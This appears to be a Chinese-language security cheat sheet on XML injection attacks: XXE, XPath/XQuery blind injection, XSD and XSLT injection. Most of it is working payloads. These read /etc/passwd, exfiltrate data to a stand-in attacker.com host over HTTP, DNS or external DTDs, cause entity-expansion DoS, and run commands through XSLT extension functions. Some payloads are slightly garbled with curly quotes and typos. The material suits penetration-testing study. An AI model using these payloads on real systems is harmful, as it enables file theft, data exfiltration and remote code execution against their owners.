简介 XXE(XML External Entity, XML 外部实体),在一个 XML 文档中,攻击者可以直接控制 DTD 中 XML 实体的定义,引用外部实体,导致 SSRF。
使用 XML 的地方有:
文档格式 OOXML, ODF, PDF, RSS, DOCX…
图片格式 SVG, EXIF Headers…
配置文件
网络协议 WebDAV, CalDAV, XMLRPC, SOAP, REST, XMPP, SAML, XACML…
XXE 特征:
PHP: simplexml_load_file
, xml_parse
, simplexml_load_string
Java: DOM
, SAX
, JDOM
, DOM4J
Python: SAX
, DOM
, ElementTree
在某些 xml 解析器中,尽管禁用了外部实体,但是解析器会在 DTD 定义阶段就对 URL 进行请求,但是不会展开该实体。 libxml2.9.0 后默认不解析外部实体。 simplexml_load_file 旧版本默认解析外部实体,新版本要指定第三個参数 LIBXML_NOENT
XXE 有以下几种利用方法(以文件读取为例)。
普通实体 引用外部普通实体。
1 2 3 4 5 6 7 8 <?xml version="1.0" ?> <!DOCTYPE a[ <!ELEMENT b (#CDATA )> <!ENTITY c SYSTEM "file:///etc/passwd" > ]> <a > <b > &c; </b > </a >
注意:元素类型主要有 PCDATA 和 CDATA 两种,PCDATA 中的文本会被当成 XML 解析,CDATA 中的文本则不会。定义 b 为 CDATA 来避免 &c; 中出现特殊字符导致 XML 解析器解析失败而报错。 XML 中有 5 个预定义的实体:<,>,&,' 和 ",分别替换 < > & ‘和”。字符实体也可以直接通过 Ascii 码使用,例如 % 的实体为 %。
当要读取的文件中存在一些复杂的字符(例如/etc/fstab
),可能会引起 xml 解析器报错时,可以使用参数实体拼接绕过,如下所示。
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <!DOCTYPE a[ <!ENTITY % start "<![CDATA[" > <!ENTITY % goodies SYSTEM "file:///etc/fstab" > <!ENTITY % end "]]>" > <!ENTITY all "%start;%goodies;%end;" > ]> <a > &all; </a >
参数实体外部 DTD 利用参数实体引用外部 DTD 文件。
注意:参数实体只能在 DTD 中引用,不能在声明前引用,也不能在实体声明内部引用。
1 2 3 4 5 6 7 8 9 <?xml version="1.0" ?> <!DOCTYPE a[ <!ELEMENT b (#CDATA )> <!ENTITY % c SYSTEM "http://attacker.com/evil.dtd" > %c; ]> <a > <b > &d; </b > </a >
其中 evil.dtd
的内容如下。
1 <!ENTITY d SYSTEM "file:///etc/passwd" >
普通实体外部 DTD 通过普通实体引用外部 DTD 文件。
1 2 3 4 5 6 7 8 <?xml version="1.0" ?> <!DOCTYPE a[ <!ELEMENT b (#CDATA )> <!ENTITY c SYSTEM "http://attacker.com/evil.dtd" > ]> <a > <b > &d; </b > </a >
其中 evil.dtd
的内容如下。
1 <!ENTITY d SYSTEM "file:///etc/passwd" >
Payload DOS 通过定义数量巨大的实体可以造成 DOS 攻击。
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" ?> <!DOCTYPE a [ <!ELEMENT a (#ANY )> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;" > <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;" > ]> <a > &a2;</a >
a2 会被扩展为很多 a1,每个 a1 又会被扩展为很多 a0,这样的嵌套扩展会严重拖慢 XML 解析器的速度。
SSRF 外部实体引用可以访问一个 URL,造成 SSRF,通过 SSRF 可以读取文件,攻击内网等。
1 2 3 4 5 6 7 8 9 <?xml version="1.0" ?> <!DOCTYPE a [ <!ELEMENT a (#ANY )> <!ENTITY b SYSTEM "http://a.com/" > ]> <a > &b; </a >
XXE 盲注 无回显的情况下可以将数据通过 HTTP 发送到远程服务器。
1 2 3 4 5 6 7 8 9 <?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd" > <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd" > %remote; %send; ]>
其中 evil.dtd
的内容如下。
1 2 <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>" > %payload;
注意要将 % 实体编码为 %
攻击流程:
首先展开%remote;
,请求远程服务器中的evil.dtd
。
展开 evil.dtd
中的%payload;
。
展开 evil.dtd
中的%send;
。
展开 %send;
中的%file;
,读取文件。
最后调用 %send;
,将展开的%file;
发送到远程服务器中。
在 PHP 环境下可以将数据通过 base64 编码(利用 filter)通过 url 发送到远程服务器以避免 url 坏字符。
报错注入 类似 SQL 注入的报错注入,XXE 也可以通过报错注入返回一些额外信息,如下所示。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE message [ <!ELEMENT message ANY > <!ENTITY % NUMBER '<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ' > %NUMBER; ]> <message > a</message >
以下 Payload 可能也会引起 XML 解析器错误:
<!ENTITY % trick "<!ENTITY err SYSTEM 'file:///some'%pay; gif>"> %trick;
<!ENTITY % trick "<!ENTITY :%pay;>"> %trick;
<!ENTITY % trick "<!ENTITY % err SYSTEM '%pay;'>"> %trick; %err;
<!ENTITY % trick "<!ENTITY :%pay;>"> %trick;
<!ENTITY % trick "<!ENTITY % err SYSTEM '%pay;'>"> %trick; %err;
<!ENTITY % trick "<!ENTITY % err SYSTEM 'http%pay;:/127.0.0.1/'>"> %trick; %err;
<!DOCTYPE html [<!ENTITY % foo SYSTEM "file:///c:/boot.ini"> %foo;]>
SOAP 1 2 3 4 5 <soap:Body > <foo > <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]> </foo > </soap:Body >
其他 Payload 绕过
可以用 PUBLIC
代替 SYSTEM
,二者完全等价。
修改文档编码格式,例如 UTF-7
,UTF-16
等。
其他绕过方法:
1 2 3 <!DOCTYPE :. SYTEM "http://" <!DOCTYPE :_-_: SYTEM "http://" <!DOCTYPE {0xdfbf} SYSTEM "http://"
XML 注入 类似 XSS 中的闭合标签 / 引号。程序将用户输入直接拼接到一个 XML 文档中时,可以通过闭合标签 / 引号的方式注入新的 XML 数据,控制 XML 文档。
XPath 注入 SQL 语言是为了从 SQL 数据库中获取数据而产生的语言,同样为了从 XML 文档中获取数据,产生了 XPath 查询语言。类似 SQL 注入,程序将用户输入直接拼接到一个 XPath 查询语句中,造成 XPath 注入,可以获取 XML 文档的数据,甚至控制 XML 文档。
例如有一个查询语句 /root/users/user[username/text()='attacker' and password/text()='yyyy']
,若攻击者将attacker
替换为' or 1=1 or ''='
,那么查询语句就变成了/root/users/user[username/text()='' or 1=1 or ''='' and password/text()='yyyy']
。该查询语句将一直返回 true,导致查询出所有的 user 信息,由于 XPath 不像 SQL 注入有很多访问控制,XPath 的注入没有太多的限制。
盲注 布尔盲注 在无回显的情况下,XPath 也可以盲注。首先需要获取某个节点下子节点的数量。
1 2 3 4 5 ' or count(/*) = 1 or '1' = '2 ' or count(/*) = 2 or '1' = '2 ' or count(/*) = 3 or '1' = '2 ' or count(/*) = 4 or '1' = '2 ...
之后爆破出该节点的名字。
1 2 3 4 5 ' or substring(name(/*[position() = 1]),1,1)='a' or '1'='2 ' or substring(name(/*[position() = 1]),1,1)='b' or '1'='2 ' or substring(name(/*[position() = 1]),1,1)='c' or '1'='2 ' or substring(name(/*[position() = 1]),1,1)='d' or '1'='2 ...
利用同样的方法也可以爆破出节点的属性。
HTTP 外带 在 XPath 2.0 中,提供一个 doc
函数,该函数可以从 web 服务器中请求一个 xml 文档,利用这个 HTTP 请求,可以将数据外带到 web 服务器中。下面的 payload 可以将根节点的名字外带到 web 服务器中。
1 ' or doc(concat("http://attacker.com/?data=", encode-foruri(/*[1]/name()))) or '1'='2
DNS 外带 同样可以利用 DNS 外带数据,下面的 payload 可以将根节点的名字外带到 DNS 服务器中。
1 ' or doc(concat(encode-foruri(/*[1]/name()), '.attacker.com')) or '1'='2
常用函数
count(/root/*)
获取 root
节点下所有子节点的数量。
string-length(/*[1]/*[1]/name())
获取第一个节点下第一个节点的名字的长度。
substring(/*[1]/*[1]/name(), 1, 1)
截取第一个节点下第一个节点的名字的第一个字符。
lower-case("A") = "a"
用于判断 XPath 版本,此函数在 2.0 中才加入。
base-uri()
返回该 XML 文档文件的位置,XPath 2.0 加入。
/root/a/text()
获取 root 节点下 a 节点的文本内容。
matches(/*[1]/name(), '[A-Z]+')
通过正则表达式验证。
string-to-codepoints("abc")
将字符串转换为 Ascii 码(97, 98, 99)。
(if 1 then 1 else 0)
条件表达式,可用于布尔盲注。
concat('a', 'b')
字符串链接。
doc(‘http://attacker.com/a.xml’)
从 web 服务器上读取一个 xml 文档,XPath 2.0 加入。此功能不是默认启用,并且 URI 若不是 xml 文档会报错。
encode-foruri('abc')
URL 编码,XPath 2.0 加入。
XPath 语法速查 更多 XPath 知识,参考w3school 。
节点类型 XPath 中将 XML 节点分为以下几种类型:
element
元素 / 节点
attribute
属性
text
文本
namespace
命名空间
processing-instruction
处理指令
comment
注释
root
根节点
表达式 XPath 通过表达式选取 XML 节点,常用表达式如下:
nodename
选取此节点的所有子节点
/
从根节点选取
//
从匹配选择的当前节点选择文档中的节点,不考虑它们的位置
.
选取当前节点
..
选取当前节点的父节点
@
选取属性
例如:
bookstore
选取 bookstore 元素所有的子节点
/bookstore
选取根节点 bookstore
bookstore/book
选取 bookstore 节点下所有子节点中的 book 节点
//book
选取所有的 book 节点,不论在文档中的位置在哪
bookstore//book
选取 bookstore 节点中所有后代节点中的 book 节点
//@lang
选取名为 lang 的所有属性
限定语 通过限定语可以选取某个具体的节点,限定语跟在节点后,包裹在方括号中,例如:
/bookstore/book[1]
选取属于 bookstore 子节点中的第一个 book 节点
/bookstore/book[last()]
选取属于 bookstore 子节点中的最后一个 book 节点
//title[@lang]
选取所有拥有名为 lang 的属性的 title 节点
//title[@lang='eng']
选取所有 title 节点,且这些节点拥有值为 eng 的 lang 属性
/bookstore/book[price>3.500]/title
选取 bookstore 节点中的 book 节点的所有 title 节点,且其中的 price 节点的值须大于 35.00
通配符 XPath 支持部分通配符选择元素:
例如:
/bookstore/*
选择 bookstore 节点下的所有子节点
//*
选择文档中所有节点
//title[@*]
选择所有带有属性的节点
多路径查询 XPath 支持使用|
进行多路径查询,例如:
//book/title | //book/price
选择 book 节点下的所有 title 和 price 节点
bookstore/book/title | //price
选择属于 bookstore 节点的 book 节点下的所有 title 节点以及文档中所有 price 节点
XQuery 注入 XQuery 是 XPath 的超集,XQuery 可以赋予 XPath 逻辑编程能力,例如下面的代码会遍历每一个从users
中查询出的节点,并且返回该节点下的 username
节点。
1 for $user in //users[@role='admin' ] return $user /username
若上述查询中,admin
字符串可控,那么就可以注入 XPath 查询甚至 XQuery 代码,下面的代码利用doc
,循环便利整个 xml 文档,将所有整个文档发送到攻击者的服务器中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for $n in /*[1 ]/* let $x := for $att in $n/@* return (concat(name($att), "=" , encode-for -uri($att))) let $y := doc(concat( "http://attacker.com/?name=" , encode-for -uri(name($n)), "&data=" , encode-for -uri($n/text()), "&attr_" , string-join($x,"&attr_" ) )) for $c in $n/child::* let $x := for $att in $c/@* return (concat(name($c), "=" , encode-for -uri($c))) let $y := doc(concat( "http://attacker.com/?child=1&name=" , encode-for -uri(name($c)), "&data=" , encode-for -uri($c/text()), "&attr_" , string-join($x,"&attr_" ) ))
Exist-DB 是一个类似 SQLite 的本地 xml 数据库,可以通过 XQuery 进行查询。不同于其他数据库,Exist-DB 使用 HTTP 接口进行查询,例如 REST, XML-RPC, WebDAV 和 SOAP。更多 XQuery 知识,参考w3school
XSD 注入 XSD (XML Schema Definition) 是一种用来描述 XML 文档元素的定义方法,可以用来代替 DTD,比 DTD 更加强大,功能也更多。更多 XSD 知识,请参考w3school
XSD schemaLocation 1 2 3 4 5 6 7 8 9 10 11 12 <?xml version ="1.0" encoding="UTF-8" ?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd" > %remote; ]> <ttt:data xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:ttt ="http://attacker.com/attack" xsi:schemaLocation ="ttt http://attacker.com/&internal; " > 4</ttt:data >
其中 evil.dtd
中的内容为:
1 2 3 <!ENTITY % payload SYSTEM “file:///etc/passwd”> <!ENTITY % param1 “<!ENTITY internal ‘%payload;’> ”>%param1;
XSD noNamespaceSchemaLocation 1 2 3 4 5 6 7 8 9 10 11 <?xml version ="1.0" encoding="UTF-8" ?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd" > %remote; ]> <data xmlns:xsi =”http://www.w3.org/2001/XMLSchema-instance” xsi:noNamespaceSchemaLocation =”http://attacker.com/&internal;” > </data >
其中 evil.dtd
中的内容为:
1 2 3 <!ENTITY % payload SYSTEM “file:///etc/passwd”> <!ENTITY % param1 “<!ENTITY internal ‘%payload;’> ”>%param1;
XSD Include/import 1 2 3 4 5 6 <?xml version ="1.0" encoding="UTF-8" ?> <xs:schema elementFormDefault ="qualified" xmlns:xs ="http://www.w3.org/2001/XMLSchema" xmlns:myNS ="myNS" > <xs:import namespace ="myNS" schemaLocation ="http://attacker.com/evil.xsd" /> <xs:include namespace ="myNS2" schemaLocation ="http://attacker.com/evil.xsd" /> </xs:schema >
XInclude
XInclude 需要手动开启。
1 2 3 4 5 6 7 8 9 10 11 <?xml version ="1.0" encoding="UTF-8" ?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd" > %remote; ]> <data xmlns:xi =”http://www.w3.org/2001/XInclude” > <xi:include href =”http://attacker.com/&internal;” parse =”text” > </xi:include > </data >
其中 evil.dtd
中的内容为:
1 2 3 <!ENTITY % payload SYSTEM “file:///etc/passwd”> <!ENTITY % param1 “<!ENTITY internal ‘%payload;’> ”>%param1;
XSD 报错 1 2 3 4 5 <?xml version ="1.0" encoding="UTF-8" ?> <xs:restriction base ="xs:string" > <xs:pattern value ="&xxe; " /> </xs:restriction >
XSLT 注入 XSLT (EXtensible Stylesheet Language Transform),是一种扩展样式表转换语言,可以将 XML 转换为其他类型的语言。更多 XSLT 知识,请参考w3school 。
获取 XSLT 信息 1 2 3 4 5 6 7 <?xml version ="1.0" encoding="UTF-8" ?> <xsl:template match ="/" > XSLT Version: <xsl:value-of select ="system-property('xsl:version')" /> XSLT Vendor: <xsl:value-of select ="system-property('xsl:vendor')" /> XSLT Vendor URL: <xsl:value-of select ="system-property('xsl:version-url')" /> </xsl:template >
XSLT Stylesheet 1 2 3 4 <?xml version ="1.0" encoding="UTF-8" ?> <?xml-stylesheet type="text/xsl" href="http://attacker.com/evil.xsl" ?> <doc > </doc >
XSLT Include/import 1 2 3 4 5 6 <?xml version ="1.0" encoding="UTF-8" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" > <xsl:import href ="http://attacker.com/evil.xsl" /> <xsl:include href ="http://attacker.com/evil.xsl" /> </xsl:stylesheet >
XSLT 读取文件 可读取合法的 xml 文件,或者普通文件的第一行
1 2 3 4 <?xml version ="1.0" encoding="UTF-8" ?> <xsl:value-of select ="document('test.xml')" /> <xsl:value-of select ="document('file:///secret.txt')" />
将读取到的文件发送到远程服务器中:
1 2 3 4 5 <?xml version ="1.0" encoding="UTF-8" ?> <xsl:variable name ="name1" select ="document('file:///etc/passwd')" /> <xsl:variable name ="name2" select ="concat('http://attacker.com/?', $name1)" /> <xsl:variable name ="name3" select ="document($name2)" />
XSLT RCE libxslt + php 环境:
1 2 3 4 5 6 7 8 9 10 11 <?xml version ="1.0" encoding="UTF-8" ?> <xsl:stylesheet version ="1.0" xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:php ="http://php.net/xsl" > <xsl:output method ="html" /> <xsl:template match ="/" > <xsl:value-of select ="php:function('shell_exec', 'sleep 10')" /> </xsl:template > </xsl:stylesheet >
Xalan-Java 环境:
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version ="1.0" encoding="UTF-8" ?> xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process" <xsl:variable name ="rtobject" select ="runtime:getRuntime()" /> <xsl:variable name ="process" select ="runtime:exec($rtobject, 'sleep 5')" /> <xsl:variable name ="waiting" select ="process:waitFor($process)" /> <xsl:value-of select ="$process" /> <xsl:variable name ="osversion" select ="jv:java.lang.System.getProperty('oname')" /> <xsl:value-of select ="$osversion" />
Xalan 环境:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?xml version ="1.0" encoding="UTF-8" ?> <xsl:stylesheet xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" xmlns:jv ="http://xml.apache.org/xalan/java" exclude-result-prefixes ="jv" version ="1.0" > <xsl:template match ="/" > <root > <xsl:variable name ="osversion" select ="jv:java.lang.System.getProperty('os.name')" /> <xsl:value-of select ="$osversion" /> </root > </xsl:template > </xsl:stylesheet >
Saxon EE 环境:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version ="1.0" encoding="UTF-8" ?> <xsl:stylesheet xmlns:xsl ="http://www.w3.org/1999/XSL/Transform" version ="1.0" xmlns:date ="java:java.util.Date" xmlns:runtime ="java:java.lang.Runtime" xmlns:process ="java:java.lang.Process" > <xsl:output method ="text" /> <xsl:template match ="/" > Date: <xsl:value-of select ="date:new()" /> <xsl:variable name ="rtobject" select ="runtime:getRuntime()" /> <xsl:variable name ="process" select ="runtime:exec($rtobject, 'sleep 5')" /> <xsl:variable name ="waiting" select ="process:waitFor($process)" /> <xsl:value-of select ="$process" /> </xsl:template > </xsl:stylesheet >
XSLT 连接数据库 Xalan-Java 环境:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version ="1.0" encoding="UTF-8" ?> <xsl:param name ="driver" select = "'com.mysql.jdbc.Driver'" /> <xsl:param name ="dbUrl" select ="'jdbc:mysql://localhost/xslt'" /> <xsl:param name ="user" select ="'xsltuser'" /> <xsl:param name ="pw" select ="'xsltpw'" /> <xsl:param name ="query" select ="'select test from xtable'" /> <xsl:template match ="/" > <xsl:variable name ="dbc" select ="sql:new($driver, $dbUrl , $user, $pw)" /> <xsl:variable name ="table" select ="sql:query($dbc, $query)" /> <xsl:value-of select ="$table/*" /> <xsl:value-of select ="sql:close($dbc)" /> </xsl:template >
XSLT 写入文件 若写入成功,则无任何输出,写入失败则报错。
Saxon 环境:
1 2 3 4 5 6 7 <?xml version ="1.0" encoding="UTF-8" ?> <xsl:template match ="/" > <xsl:result-document href ="local_file.txt" > <xsl:text > Hello World to local file.</xsl:text > </xsl:result-document > </xsl:template >
Xalan-Java 环境:
1 2 3 4 5 <xsl:template match ="/" > <redirect:open href ="local_file.txt" /> <redirect:write href ="local_file.txt" > Hello world to local file.</redirect:open > <redirect:close href ="local_file.txt" /> </xsl:template >
libxslt 环境:
1 2 3 4 5 <xsl:template match ="/" > <exsl:document href ="local_file.txt" > <xsl:text > Hello World to local file.</xsl:text > </exsl:document > </xsl:template >
Saxon PE/Saxon EE 环境:
1 2 3 4 5 <xsl:variable name ="file" as ="xs:string" select ="'local_file.txt'" /> <xsl:variable name ="text" as ="xs:string" select ="'Hello World to local file.'" /> <xsl:template match ="/" > <xsl:sequence select ="file:append-text($file, $text)" /> </xsl:template >
其他可以写入文件的函数有file:append-text(), file:move(), file:copy(), file:delete(), file:exists(), file:is-file(), file:is-dir(), file:read(), file:write()